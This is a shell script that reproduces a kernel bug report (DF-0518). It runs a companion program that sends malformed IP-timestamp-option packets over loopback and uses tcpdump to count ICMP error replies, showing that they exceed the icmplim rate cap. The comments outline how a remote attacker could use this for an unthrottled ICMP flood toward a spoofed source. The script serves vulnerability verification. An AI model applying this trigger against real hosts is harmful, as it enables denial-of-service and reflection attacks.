#!/bin/sh
# DF-0518 run script — fires N bad-IP-option packets from an unprivileged
# socket and proves icmp_error() emission is NOT rate-limited by icmplim.
#
# Method:
#  - Background tcpdump on lo0 to capture emitted ICMP errors.
#  - Fire N packets with malformed IPOPT_TS via an unprivileged UDP socket.
#    Each packet loops back through ip_input() -> ip_dooptions() -> bad ->
#    icmp_error() at ip_input.c:1780 (no badport_bandlim check).
#  - SIGTERM tcpdump, read its "packets received by filter" line.
#  - Compare emitted count to icmplim.  On buggy kernel: thousands of
#    ICMP errors per second.  On fixed kernel: plateaus at icmplim/s.
#
# Requires root only to run tcpdump (the actual packet flood is from
# the unprivileged maxx socket).  Realistic per the finding's threat
# model: any remote attacker can flood trigger packets; the box emits
# unlimited ICMP errors back toward the spoofed source.
set -e
cd "$(dirname "$0")"

COUNT="${1:-2000}"
ICMPLIM=$(sysctl -n net.inet.icmp.icmplim)
echo "=== icmplim = $ICMPLIM (per-sec cap that SHOULD apply but doesn't) ==="
sysctl net.inet.icmp.icmplim_output=1 >/dev/null 2>&1 || true

# Background tcpdump; capture stderr (count summary) and pcap (raw pkts)
(tcpdump -ni lo0 -c 2000 -U -w df0518.pcap icmp 2> tcpdump.counterr) &
TPID=$!
sleep 0.3

echo "=== sending $COUNT bad-IP-option packets as unpriv user ==="
./df0518 "$COUNT" 2>&1 | tail -2

# Stop tcpdump and let it flush its count
sleep 0.5
kill -INT $TPID 2>/dev/null || true
sleep 0.3
kill -KILL $TPID 2>/dev/null || true

echo
echo "=== tcpdump summary ==="
cat tcpdump.counterr 2>/dev/null || echo "(no tcpdump output)"
EMITTED=$(grep -oE '[0-9]+ packets received by filter' tcpdump.counterr 2>/dev/null | awk '{print $1}')
CAPTURED=$(grep -oE '[0-9]+ packets captured' tcpdump.counterr 2>/dev/null | awk '{print $1}')
echo
echo "icmplim (per-sec cap that SHOULD apply):   $ICMPLIM"
echo "ICMP errors emitted during the ~0.02s burst: ${EMITTED:-unknown} (received-by-filter)"
echo "ICMP errors captured in pcap:              ${CAPTURED:-unknown}"
if [ -n "$EMITTED" ] && [ "$EMITTED" -gt "$ICMPLIM" ]; then
    echo
    echo "*** DF-0518 REPRODUCED: $EMITTED ICMP errors emitted in <1s,"
    echo "    far exceeding icmplim=$ICMPLIM.  icmp_error() has no rate-limit."
fi
echo "RUN_EXIT=$?"